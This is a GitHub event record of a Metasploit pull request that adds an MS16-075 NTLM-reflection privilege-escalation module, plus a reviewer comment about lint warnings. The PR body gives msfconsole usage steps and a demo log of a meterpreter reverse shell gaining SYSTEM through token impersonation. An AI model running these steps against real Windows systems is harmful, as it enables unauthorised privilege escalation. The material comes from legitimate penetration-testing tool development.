{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10418","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10418/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10418/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10418/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/10418","id":347273076,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA1OTM1NjI3","number":10418,"title":"DCOM/RPC NTLM  Reflection MS16-075 (Reflective DLL)","user":{"login":"realoriginal","id":30811388,"node_id":"MDQ6VXNlcjMwODExMzg4","avatar_url":"https://avatars0.githubusercontent.com/u/30811388?v=4","gravatar_id":"","url":"https://api.github.com/users/realoriginal","html_url":"https://github.com/realoriginal","followers_url":"https://api.github.com/users/realoriginal/followers","following_url":"https://api.github.com/users/realoriginal/following{/other_user}","gists_url":"https://api.github.com/users/realoriginal/gists{/gist_id}","starred_url":"https://api.github.com/users/realoriginal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/realoriginal/subscriptions","organizations_url":"https://api.github.com/users/realoriginal/orgs","repos_url":"https://api.github.com/users/realoriginal/repos","events_url":"https://api.github.com/users/realoriginal/events{/privacy}","received_events_url":"https://api.github.com/users/realoriginal/received_events","type":"User","site_admin":false},"labels":[{"id":466360142,"node_id":"MDU6TGFiZWw0NjYzNjAxNDI=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/needs-docs","name":"needs-docs","color":"bfd4f2","default":false}],"state":"open","locked":false,"assignee":{"login":"bwatters-r7","id":17987018,"node_id":"MDQ6VXNlcjE3OTg3MDE4","avatar_url":"https://avatars3.githubusercontent.com/u/17987018?v=4","gravatar_id":"","url":"https://api.github.com/users/bwatters-r7","html_url":"https://github.com/bwatters-r7","followers_url":"https://api.github.com/users/bwatters-r7/followers","following_url":"https://api.github.com/users/bwatters-r7/following{/other_user}","gists_url":"https://api.github.com/users/bwatters-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bwatters-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bwatters-r7/subscriptions","organizations_url":"https://api.github.com/users/bwatters-r7/orgs","repos_url":"https://api.github.com/users/bwatters-r7/repos","events_url":"https://api.github.com/users/bwatters-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bwatters-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"bwatters-r7","id":17987018,"node_id":"MDQ6VXNlcjE3OTg3MDE4","avatar_url":"https://avatars3.githubusercontent.com/u/17987018?v=4","gravatar_id":"","url":"https://api.github.com/users/bwatters-r7","html_url":"https://github.com/bwatters-r7","followers_url":"https://api.github.com/users/bwatters-r7/followers","following_url":"https://api.github.com/users/bwatters-r7/following{/other_user}","gists_url":"https://api.github.com/users/bwatters-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bwatters-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bwatters-r7/subscriptions","organizations_url":"https://api.github.com/users/bwatters-r7/orgs","repos_url":"https://api.github.com/users/bwatters-r7/repos","events_url":"https://api.github.com/users/bwatters-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bwatters-r7/received_events","type":"User","site_admin":false}],"milestone":null,"comments":42,"created_at":"2018-08-03T06:20:17Z","updated_at":"2018-08-29T15:43:52Z","closed_at":null,"author_association":"CONTRIBUTOR","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10418","html_url":"https://github.com/rapid7/metasploit-framework/pull/10418","diff_url":"https://github.com/rapid7/metasploit-framework/pull/10418.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/10418.patch"},"body":"## About \r\n\r\nThe module exploits the SeImpersonatePrivilege given to service accounts on Windows which enables us to forge tokens and impersonate NT AUTHORITY\\SYSTEM. As it utilizes reflective injection it solves the permission issues as well as doesn't leave behind traces. It can be used in an existing session where the account has SeImpersonatePrivilege. It spawns a new notepad process and injects the RottenPotato dll into it's memory which points to the shellcode and execute it. However, once the exploit is completed we need to load the incognito extension and then impersonate the token manually. \r\n\r\n\r\n\r\n## Verification\r\n\r\nList the steps needed to make sure this thing works\r\n \r\n- [ ] Start `msfconsole`\r\n- [ ] Pop shell?\r\n- [ ] `use exploit/windows/local/ms16_075_reflection`\r\n- [ ] `set SESSION <session>`\r\n- [ ] `set TARGET <remote architecture index>`\r\n- [ ] `set PAYLOAD <payload>`\r\n- [ ] `run`\r\n- [ ] In new shell, type `load incognito`\r\n- [ ] `impersonate_token('NT AUTHORITY\\SYSTEM')`\r\n- [ ] **Verify** should successfully impersonate the token\r\n- [x] ????\r\n- [x] PROFIT!\r\n- [ ] **Verify** it properly runs through and gives the new token\r\n- [ ] **Documentation will be done, wanted to check on your guys opinion on it first**\r\n\r\n### Demo \r\n\r\n```\r\n  Name     Current Setting  Required  Description\r\n   ----     ---------------  --------  -----------\r\n   SESSION  48               yes       The session to run this module on.\r\n\r\n\r\nPayload options (windows/x64/meterpreter/reverse_tcp):\r\n\r\n   Name      Current Setting  Required  Description\r\n   ----      ---------------  --------  -----------\r\n   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)\r\n   LHOST     ens3             yes       The listen address (an interface may be specified)\r\n   LPORT     3312             yes       The listen port\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   1   Windows x64\r\n\r\n\r\nmsf exploit(windows/local/ms16_075_reflection) > run\r\n\r\n[*] Started reverse TCP handler on -snip-:3312\r\n[*] Launching notepad to host the exploit...\r\n[+] Process 3564 launched.\r\n[*] Reflectively injecting the exploit DLL into 3564...\r\n[*] Injecting exploit into 3564...\r\n[*] Exploit injected. Injecting payload into 3564...\r\n[*] Payload injected. Executing exploit...\r\n[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.\r\n[*] Sending stage (206403 bytes) to -snip-\r\n[*] Meterpreter session 49 opened (-snip-:3312 -> -snip-:55306) at 2018-08-03 01:54:18 -0400\r\n\r\nmeterpreter > load incognito\r\nLoading extension incognito...Success.\r\nmeterpreter > impersonate_token 'NT AUTHORITY\\SYSTEM'\r\n[-] Warning: Not currently running as SYSTEM, not all tokens will be available\r\n             Call rev2self if primary process token is SYSTEM\r\n[-] No delegation token available\r\n[+] Successfully impersonated user NT AUTHORITY\\SYSTEM\r\nmeterpreter > getsystem -t 1\r\n...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).\r\nmeterpreter >\r\n```\r\n\r\n*gotta love session 48*\r\n\r\nI would hope to get this PR'd alot sooner but I;d been stuck and at this point I figured I may as well Pr and ask for expert advice to get this ball rolling! apologies in advance."},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/417001239","html_url":"https://github.com/rapid7/metasploit-framework/pull/10418#issuecomment-417001239","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10418","id":417001239,"node_id":"MDEyOklzc3VlQ29tbWVudDQxNzAwMTIzOQ==","user":{"login":"bwatters-r7","id":17987018,"node_id":"MDQ6VXNlcjE3OTg3MDE4","avatar_url":"https://avatars3.githubusercontent.com/u/17987018?v=4","gravatar_id":"","url":"https://api.github.com/users/bwatters-r7","html_url":"https://github.com/bwatters-r7","followers_url":"https://api.github.com/users/bwatters-r7/followers","following_url":"https://api.github.com/users/bwatters-r7/following{/other_user}","gists_url":"https://api.github.com/users/bwatters-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bwatters-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bwatters-r7/subscriptions","organizations_url":"https://api.github.com/users/bwatters-r7/orgs","repos_url":"https://api.github.com/users/bwatters-r7/repos","events_url":"https://api.github.com/users/bwatters-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bwatters-r7/received_events","type":"User","site_admin":false},"created_at":"2018-08-29T15:43:52Z","updated_at":"2018-08-29T15:43:52Z","author_association":"CONTRIBUTOR","body":"Travis is failing because of spaces at the end of lines:\r\n```\r\nmodules/exploits/windows/local/ms16_075_reflection.rb:78 - [WARNING] Spaces at EOL\r\nmodules/exploits/windows/local/ms16_075_reflection.rb:81 - [WARNING] Spaces at EOL\r\nmodules/exploits/windows/local/ms16_075_reflection.rb:85 - [WARNING] Spaces at EOL\r\nmodules/exploits/windows/local/ms16_075_reflection.rb:90 - [WARNING] Spaces at EOL\r\nmodules/exploits/windows/local/ms16_075_reflection.rb:94 - [WARNING] Spaces at EOL\r\n```\r\nYou can verify your changes locally using msftidy before pushing:\r\n```\r\ntmoose@ubuntu:~/rapid7/metasploit-framework$ ./tools/dev/msftidy.rb modules/exploits/windows/local/ms16_075_reflection.rb\r\nmodules/exploits/windows/local/ms16_075_reflection.rb:78 - [WARNING] Spaces at EOL\r\nmodules/exploits/windows/local/ms16_075_reflection.rb:81 - [WARNING] Spaces at EOL\r\nmodules/exploits/windows/local/ms16_075_reflection.rb:85 - [WARNING] Spaces at EOL\r\nmodules/exploits/windows/local/ms16_075_reflection.rb:90 - [WARNING] Spaces at EOL\r\nmodules/exploits/windows/local/ms16_075_reflection.rb:94 - [WARNING] Spaces at EOL\r\n\r\n```"}}
{"actor":{"display_login":"bwatters-r7"}}